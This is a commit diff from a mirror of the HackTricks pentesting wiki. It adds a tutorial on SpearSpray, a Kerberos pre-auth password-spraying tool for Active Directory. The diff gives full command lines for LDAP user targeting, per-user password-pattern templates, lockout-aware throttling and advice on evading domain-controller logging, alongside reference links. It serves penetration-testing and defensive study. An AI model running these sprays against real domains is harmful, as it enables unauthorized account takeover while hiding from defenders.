mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Add content from: SpearSpray — Pattern-driven, Kerberos-based AD password spra...
This commit is contained in:
		
							parent
							
								
									2c09db2658
								
							
						
					
					
						commit
						9aab3fb444
					
				@ -109,6 +109,81 @@ Invoke-SprayEmptyPassword
 | 
			
		||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
 | 
			
		||||
 | 
			
		||||
Kerberos pre-auth–based spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.
 | 
			
		||||
 | 
			
		||||
Key ideas:
 | 
			
		||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
 | 
			
		||||
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
 | 
			
		||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
 | 
			
		||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
 | 
			
		||||
- Throughput control with threads, jitter, and max requests per second.
 | 
			
		||||
- Optional Neo4j integration to mark owned users for BloodHound.
 | 
			
		||||
 | 
			
		||||
Basic usage and discovery:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# List available pattern variables
 | 
			
		||||
spearspray -l
 | 
			
		||||
 | 
			
		||||
# Basic run (LDAP bind over TCP/389)
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
 | 
			
		||||
 | 
			
		||||
# LDAPS (TCP/636)
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Targeting and pattern control:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# Custom LDAP filter (e.g., target specific OU/attributes)
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
 | 
			
		||||
  -q "(&(objectCategory=person)(objectClass=user)(department=IT))"
 | 
			
		||||
 | 
			
		||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Stealth and safety controls:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
# Control concurrency, add jitter, and cap request rate
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
 | 
			
		||||
 | 
			
		||||
# Leave N attempts in reserve before lockout (default threshold: 2)
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Neo4j/BloodHound enrichment:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Pattern system overview (patterns.txt):
 | 
			
		||||
 | 
			
		||||
```text
 | 
			
		||||
# Example templates consuming per-user attributes and temporal context
 | 
			
		||||
{name}{separator}{year}{suffix}
 | 
			
		||||
{month_en}{separator}{short_year}{suffix}
 | 
			
		||||
{season_en}{separator}{year}{suffix}
 | 
			
		||||
{samaccountname}
 | 
			
		||||
{extra}{separator}{year}{suffix}
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
Available variables include:
 | 
			
		||||
- {name}, {samaccountname}
 | 
			
		||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
 | 
			
		||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
 | 
			
		||||
 | 
			
		||||
Operational notes:
 | 
			
		||||
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
 | 
			
		||||
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
 | 
			
		||||
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
 | 
			
		||||
 | 
			
		||||
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
 | 
			
		||||
 | 
			
		||||
## Outlook Web Access
 | 
			
		||||
 | 
			
		||||
There are multiples tools for p**assword spraying outlook**.
 | 
			
		||||
@ -142,6 +217,11 @@ To use any of these tools, you need a user list and a password / a small list of
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
 | 
			
		||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
 | 
			
		||||
- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
 | 
			
		||||
- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
 | 
			
		||||
- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
 | 
			
		||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
 | 
			
		||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
 | 
			
		||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
 | 
			
		||||
@ -149,6 +229,3 @@ To use any of these tools, you need a user list and a password / a small list of
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user